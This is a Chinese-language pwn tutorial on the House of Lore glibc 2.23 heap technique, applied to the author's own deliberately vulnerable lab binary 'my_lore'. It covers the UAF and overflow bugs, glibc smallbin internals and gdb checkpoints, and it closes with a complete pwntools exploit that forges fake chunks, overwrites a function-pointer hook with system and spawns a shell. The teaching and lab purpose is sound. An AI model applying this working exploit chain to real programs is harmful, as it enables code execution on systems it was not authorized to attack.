《Pwn 堆利用实战:House of Lore —— 从自出题 my_lore 到 getshell 全流程》
📎my_ lore.zip how2heap 里的 house_of_lore demo 只打印一句 Nice jump d00d,fake chunk 还摆在栈上 —— 学完依然不知道真实题目里这套技巧怎么落地。为此我自己写了一道题 my_lore(No PIE / glibc 2.23-0ubuntu10),把"BSS 上的函数指针 hook"和"可控缓冲区 name[…
how2heap 里的 house_of_lore demo 只打印一句 Nice jump d00d,fake chunk 还摆在栈上 —— 学完依然不知道真实题目里这套技巧怎么落地。为此我自己写了一道题 my_lore(No PIE / glibc 2.23-0ubuntu10),把"BSS 上的函数指针 hook"和"可控缓冲区 name[0x100]"故意摆成相邻布局,然后用一条完整的利用链把它打穿。
全文按"漏洞 → 原理 → 布局 → 动态验证 → getshell"推进:先用 free 不清空指针拿到 UAF、用不限长的 edit 改 A->bk;再回到 glibc 源码,看清 smallbin 是从尾部取块、且只校验一条回链(bck->fd == victim);接着在 name 尾部伪造 chunk、用两次 malloc(0x100) 让第二次的返回值精确落在 hook - 0x10,写入 system 后由 run 触发 system("/bin/sh")。
除了 exp,文中还拆开了几个容易含糊的点:为什么 setname 刚好差 1 个字节写不到 hook、为什么 free 之后 rdi 会变成 main_arena、fake->bk 为什么不能指向自己、以及每一步在 gdb 里的检查点(bins / x/2gx / p/x $rax)。最终实测拿到 uid=1000(bgl1)。
0.知识点的补充
1.释放的堆块距离链表头的远近
只有unsorted bin和small bin满足fifo这条规律,所以这两个bin满足,最先进来的距离表头最远;
我们这里只是口头说一下,大家可能记忆不是那么深刻,我们直接用上一个例题,my_force进行演示一下;
unsorted bin
c
1
1280
1
32 //挡板,防止,我们释放堆块0和堆块2的时候合并
1
1280
1
32 //挡板,防止释放的堆块和top chunk合并
heap【你应该看到】
Addr: 0x405000
Size: 0x510 (with flag bits: 0x511)
Allocated chunk | PREV_INUSE
Addr: 0x405510
Size: 0x30 (with flag bits: 0x31)
Allocated chunk | PREV_INUSE
Addr: 0x405540
Size: 0x510 (with flag bits: 0x511)
Allocated chunk | PREV_INUSE
Addr: 0x405a50
Size: 0x30 (with flag bits: 0x31)【释放】
c
4
0
4
2
heap【你应该看到】
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x405000
Size: 0x510 (with flag bits: 0x511)
fd: 0x7ffff7bc4b78
bk: 0x405540
Allocated chunk
Addr: 0x405510
Size: 0x30 (with flag bits: 0x30)
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x405540
Size: 0x510 (with flag bits: 0x511)
fd: 0x405000
bk: 0x7ffff7bc4b78
Allocated chunk
Addr: 0x405a50
Size: 0x30 (with flag bits: 0x30)
Top chunk | PREV_INUSE
Addr: 0x405a80
Size: 0x20580 (with flag bits: 0x20581)此时我们查看一下bins
【bins】
fastbins
empty
unsortedbin
all: 0x405540 —▸ 0x405000 —▸ 0x7ffff7bc4b78 ◂— 0x405540 /* '@U@' */
smallbins
empty
largebins
empty看到没,我们最先释放的那个堆块0距离链表头最远;
2.释放的堆块进入top chunk的情况:
前提条件:被释放的堆块紧邻top;
块大小>0x80(也就是不在fastbin范围)
2.26以及以上,tcache已满,或该大小没有tcache栈;
3.malloc的时候在本漏洞中做了什么
victim = last(bin); /* ① victim = bin->bk = A */
bck = victim->bk; /* ② bck = A->bk = fake */
if (bck->fd != victim) /* ③ 检查 fake->fd 是否等于 A */
malloc_printerr("corrupted");
set_inuse_bit_at_offset(victim, nb); /* ④ 标记 A 已使用 */
bin->bk = bck; /* ⑤ bin->bk = fake 尾部变了! */
bck->fd = bin; /* ⑥ fake->fd = bin fake 的 fd 被改写! */
return chunk2mem(victim); /* ⑦ 返回 A + 0x10 = A 的用户指针 */2.静态分析
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 size; // [rsp+8h] [rbp-28h]
int v5; // [rsp+14h] [rbp-1Ch]
__int64 nbytes; // [rsp+18h] [rbp-18h]
unsigned int v7; // [rsp+20h] [rbp-10h]
unsigned int v8; // [rsp+24h] [rbp-Ch]
unsigned int v9; // [rsp+28h] [rbp-8h]
int v10; // [rsp+2Ch] [rbp-4h]
setvbuf(_bss_start, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
puts("=====================================");
puts(" my_lore : House of Lore lab");
puts("=====================================");
printf("[*] name = %p\n", &blob);
printf("[*] hook = %p\n", &qword_4042A0);
printf("[*] cmd = %p\n", &cmd);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
printf("1. alloc\n2. edit\n3. show\n4. free\n5. setname\n6. setcmd\n7. run\n8. quit\n> ");
v10 = read_int(0);
if ( v10 != 1 )
break;
v5 = slot_alloc();
if ( v5 >= 0 )
{
size = read_size("size: ");
if ( size )
{
ptrs[v5] = malloc(size);
sizes[v5] = size;
printf("[%d] = %p (size=%zu)\n", v5, (const void *)ptrs[v5], size);
printf("data: ");
read(0, (void *)ptrs[v5], size);
}
else
{
puts("[-] bad size");
}
}
else
{
puts("[-] full");
}
}
if ( v10 != 2 )
break;
v7 = read_int("idx: ");
nbytes = read_size("len: ");
if ( v7 >= 0x10 || !ptrs[v7] )
goto LABEL_21;
printf("data: ");
read(0, (void *)ptrs[v7], nbytes);
puts(&byte_402122);
}
if ( v10 != 3 )
break;
v8 = read_int("idx: ");
if ( v8 >= 0x10 || !ptrs[v8] )
goto LABEL_21;
write(1, (const void *)ptrs[v8], sizes[v8]);
puts(&byte_402122);
}
if ( v10 != 4 )
break;
v9 = read_int("idx: ");
if ( v9 < 0x10 && ptrs[v9] )
free((void *)ptrs[v9]);
else
LABEL_21:
puts("[-] bad idx");
}
if ( v10 != 5 )
break;
printf("name: ");
read(0, &blob, 0x100u);
puts(&byte_402122);
}
if ( v10 != 6 )
break;
printf("cmd: ");
read(0, &cmd, 0x3Fu);
byte_4042FF = 0;
puts(&byte_402122);
}
if ( v10 != 7 )
return 0;
if ( qword_4042A0 )
qword_4042A0(&cmd);
else
puts("[*] hook is NULL");
}
}这个函数也是相对简单,里面存在两个漏洞;
漏洞一:在43到48行这里,这里的是一个堆溢出的漏洞
漏洞二:80到81行,这里存在uaf;
题目漏洞利用思路:
其实,这道题我们可以看出来,和之前的自命题不同的是多了一些不同的选项:书名,cmd,run;其实这是为了,专门进行练习这道题目写的;我们来详细看看
.bss:0000000000404120 ; main+327↑o
.bss:00000000004041A0 blob db ? ; ; DATA XREF: main+75↑o
.bss:00000000004041A0 ; main+404↑o
.bss:00000000004041A1 db ? ;
.bss:00000000004041A2 db ? ;
.bss:00000000004041A3 db ? ;
......
.bss:0000000000404296 db ? ;
.bss:0000000000404297 db ? ;
.bss:0000000000404298 db ? ;
.bss:0000000000404299 db ? ;
.bss:000000000040429A db ? ;
.bss:000000000040429B db ? ;
.bss:000000000040429C db ? ;
.bss:000000000040429D db ? ;
.bss:000000000040429E db ? ;
.bss:000000000040429F db ? ;
.bss:00000000004042A0 ; __int64 (__fastcall *qword_4042A0)(_QWORD)
.bss:00000000004042A0 qword_4042A0 dq ? ; DATA XREF: main+93↑o
.bss:00000000004042A0 ; main+480↑r ...
.bss:00000000004042A8 align 20h
.bss:00000000004042C0 cmd db ? ; ; DATA XREF: main+B1↑o
.bss:00000000004042C0 ; main+44B↑o ...
.bss:00000000004042C1 db ? ;
.bss:00000000004042C2 db ? ;
.bss:00000000004042C3 db ? ;
.bss:00000000004042C4 db ? ;
.bss:00000000004042C5 db ? ;
.bss:00000000004042C6 db ? ;
.bss:00000000004042C7 db ? ;
.bss:00000000004042C8 db ? ;
.bss:00000000004042C9 db ? ;这里我们就可以看出来,这里记录书名的地址和cmd指令的地址是在bss段;而且相距很近;
if ( qword_4042A0 )
qword_4042A0(&cmd);我们看代码的101到102行,这里竟然调用了4042a0的地址,并将cmd的地址传了参数,这样我们如果将4042a0的地址改为system的地址,然后将cmd中的内容改为bin/sh的地址,不就行了;
3.动态验证
gdb -q ./my_lore
set confirm off
set pagination off
b main
r
d 1
d free
c之后申请两块空间
1
256
1
144
4
0
这里释放chunk块0让他进入unsorted bin,一会泄露libc的地址;
p/x $rdi
set $A = $rdi //将chunk0的地址给a
set $Ac = $A - 0x10 //拿到chunk0的头
p/x $A
finish
这里部分读者可能会好奇,这里我不是已经将chunk0给释放了吗?为什么这里的rdi不是指向main_arena,而是还指向chunk0这是怎么回事呢?这是因为我们上面打了断点,在free,所以现在free还没执行呢;

这里,可能还有一部分读者有疑问的点是:为什么在释放之后rdi会指向mian_arena?
这和free的源码有关:
void __libc_free (void *mem) /* rdi = mem = 0x405010 */
{
...
p = mem2chunk (mem); /* p = 0x405000 */
...
ar_ptr = arena_for_chunk (p); /* 0x7ffff7bc4b20 */
_int_free (ar_ptr, p, 0);
/* ↑ rdi ↑ rsi ↑ rdx */
}也就是free的内部还会调用int_free(arena, chunk,0)——第一个参数arena又被放进rdi中;
x/4gx $Ac
set $ma = *(long*)$A - 0x58 //拿到main_arena的基地址
p/x $ma + 0x158 //small bin的链表地址
b malloc
c
1
1280 //将chunk0搞进small bin
set $leak = *(long*)$A
set $libc = $leak - 0x3c4c78
p/x $libc
set $sys = $libc + 0x45390
p/x $sys
set {long}0x404280 = 0
set {long}0x404288 = 0
set {long}0x404290 = $Ac
set {long}0x404298 = 0x4042c0
set {long}0x4042d0 = 0x404280
set {long}0x4042c0 = 0x0068732f6e69622f 这里伪造了两个chunk块,这里是怎么做到的呢?以及为什么要这样做呢?
答:当small bin中只有一个块a的时候:

然后我们加入fake之后进行malloc的时候就会进行安全检查
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");但是,这个检测也就这一行,我们怎么绕过呢?
我们将该A->bk(虽然这里a已经释放了,但是别忘了,我们有uaf漏洞);
A->bk = fake;改完之后就是这样:
bin->fd = A bin->bk = A
A->fd = bin A->bk = fake ← 只有这里变了
fake->fd = A fake->bk = fake2我们看看,当我们第一次进行malloc的时候,glibc干了什么?
victim = last(bin); /* ① victim = bin->bk = A */
bck = victim->bk; /* ② bck = A->bk = fake */
if (bck->fd != victim) /* ③ 检查 fake->fd 是否等于 A */
malloc_printerr("corrupted");
set_inuse_bit_at_offset(victim, nb); /* ④ 标记 A 已使用 */
bin->bk = bck; /* ⑤ bin->bk = fake 尾部变了! */
bck->fd = bin; /* ⑥ fake->fd = bin fake 的 fd 被改写! */
return chunk2mem(victim); /* ⑦ 返回 A + 0x10 = A 的用户指针 */也就是说,我们只需要进行fake构造的时候,让它的fd指向a就行了;
c
x
1
256
finish
c
x
1
256
set {long}0x4042a0 = $sys
c
7
拿到shell#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
my_lore —— House of Lore 自出题 exp(glibc 2.23-0ubuntu10)
利用链:
[1] UAF 泄露 libc:free A(0x100) -> unsorted;再 malloc(0x500) 触发 A 进
smallbin[0x110],show(A) 读 A->fd = bin 头 = libc+0x3c4c78
[2] 在 BSS 的 name[] 尾部布置 fake chunk:
fake = &hook - 0x20, fake->fd = A, fake->bk = &cmd
[3] 在 cmd[] 里布置 fake2:cmd->fd = fake(满足第二次的 bck->fd == victim)
[4] UAF 改 A->bk = fake
[5] malloc(0x100) -> A;再 malloc(0x100) -> fake
(返回地址 = &hook - 0x10,往 +0x10 写就是 hook)
[6] hook = system,cmd = "/bin/sh",run -> system("/bin/sh")
libc 偏移(本目录 libc-2.23.so 实测):
main_arena = 0x3c4b20 bin_at(av,17) = 0x3c4c78
system = 0x45390
"""
from pwn import *
import os
import re
context(arch='amd64', log_level=os.environ.get('LV', 'info'))
HERE = os.path.dirname(os.path.abspath(__file__))
LIBC_BIN17 = 0x3c4c78 # smallbin[0x110] 的 bin 头
LIBC_SYSTEM = 0x45390
def start():
p = process(os.path.join(HERE, 'my_lore'), cwd=HERE)
p.timeout = 4
return p
def parse_leaks(p):
p.recvuntil(b'[*] name = ')
name = int(p.recvline().strip(), 16)
p.recvuntil(b'[*] hook = ')
hook = int(p.recvline().strip(), 16)
p.recvuntil(b'[*] cmd = ')
cmd = int(p.recvline().strip(), 16)
return name, hook, cmd
def alloc(p, size, data):
p.sendlineafter(b'> ', b'1')
p.recvuntil(b'size: ')
p.sendline(str(size).encode())
line = p.recvline()
addr = int(re.search(rb'0x[0-9a-f]+', line).group(0), 16)
p.recvuntil(b'data: ')
p.send(data)
return addr
def edit(p, idx, data):
p.sendlineafter(b'> ', b'2')
p.recvuntil(b'idx: ')
p.sendline(str(idx).encode())
p.recvuntil(b'len: ')
p.sendline(str(len(data)).encode())
p.recvuntil(b'data: ')
p.send(data)
p.recvuntil(b'\n')
def show(p, idx, n):
p.sendlineafter(b'> ', b'3')
p.recvuntil(b'idx: ')
p.sendline(str(idx).encode())
d = p.recvn(n)
p.recvuntil(b'\n')
return d
def free(p, idx):
p.sendlineafter(b'> ', b'4')
p.recvuntil(b'idx: ')
p.sendline(str(idx).encode())
def setname(p, data):
p.sendlineafter(b'> ', b'5')
p.recvuntil(b'name: ')
p.send(data.ljust(0x100, b'\x00')[:0x100])
p.recvuntil(b'\n')
def setcmd(p, data):
p.sendlineafter(b'> ', b'6')
p.recvuntil(b'cmd: ')
p.send(data.ljust(0x3f, b'\x00')[:0x3f])
p.recvuntil(b'\n')
def run(p):
p.sendlineafter(b'> ', b'7')
def main():
p = start()
name_b, hook_b, cmd_b = parse_leaks(p)
log.info("BSS: name=%#x hook=%#x cmd=%#x", name_b, hook_b, cmd_b)
# ---------- [1] 泄露 libc ----------
A = alloc(p, 0x100, b'A' * 0x100) # idx0
G = alloc(p, 0x90, b'G' * 0x90) # idx1:guard,挡 A 与 top 合并
log.info("A=%#x G=%#x", A, G)
free(p, 0) # A -> unsorted
X = alloc(p, 0x500, b'X' * 0x500) # idx2:把 A 排进 smallbin[0x110]
log.info("X=%#x", X)
leak = u64(show(p, 0, 0x100)[:8])
libc = leak - LIBC_BIN17
assert libc & 0xfff == 0, "libc 基址未页对齐: %#x" % libc
log.success("A->fd=%#x libc=%#x", leak, libc)
fake = hook_b - 0x20 # fake chunk 头
assert name_b <= fake and fake + 0x20 <= hook_b, "fake 不在 name 内"
log.info("fake = %#x user = %#x (hook @ %#x)", fake, fake + 0x10, hook_b)
# ---------- [2] name 里布置 fake chunk ----------
# 偏移 0xE0(相对 name 起点)= fake chunk 头
pay = b'\x00' * 0xE0
pay += p64(0) # fake->prev_size
pay += p64(0) # fake->size(House of Lore 不校验)
pay += p64(A - 0x10) # fake->fd 必须 == victim(= A 的 chunk 头)
pay += p64(cmd_b) # fake->bk = fake2(cmd 作为 chunk 头,其 fd 在 cmd+0x10)
assert len(pay) == 0x100
setname(p, pay)
# ---------- [3] cmd 里布置 fake2 ----------
# cmd->fd 必须 == fake;cmd 开头同时放 "/bin/sh" 备用
pay2 = b'/bin/sh\x00' + b'\x00' * 8 + p64(fake) + p64(0)
setcmd(p, pay2)
# ---------- [4] UAF 改 A->bk ----------
edit(p, 0, p64(leak) + p64(fake) + p64(0))
log.success("A->bk = fake(%#x)", fake)
# ---------- [5] 两次 malloc ----------
a1 = alloc(p, 0x100, b'1' * 0x100) # 第一次:返回 A
log.info("malloc#1 -> %#x (expect A=%#x)", a1, A)
assert a1 == A
sys_addr = libc + LIBC_SYSTEM
# user = fake+0x10 = hook-0x10;+0x10 处是 hook,+0x30 处是 cmd
data = b'A' * 0x10 + p64(sys_addr)
data += b'\x00' * (0x30 - len(data))
data += b'/bin/sh\x00'
data = data.ljust(0x100, b'\x00')
a2 = alloc(p, 0x100, data) # 第二次:返回 fake 的 user
log.info("malloc#2 -> %#x (expect user=%#x)", a2, fake + 0x10)
assert a2 == fake + 0x10
log.success("hook = system(%#x)", sys_addr)
# ---------- [6] 触发 ----------
run(p)
p.sendline(b'echo PWNED_LORE; id; exit')
print(p.recvrepeat(3).decode(errors='replace'))
p.close()
if __name__ == '__main__':
main()
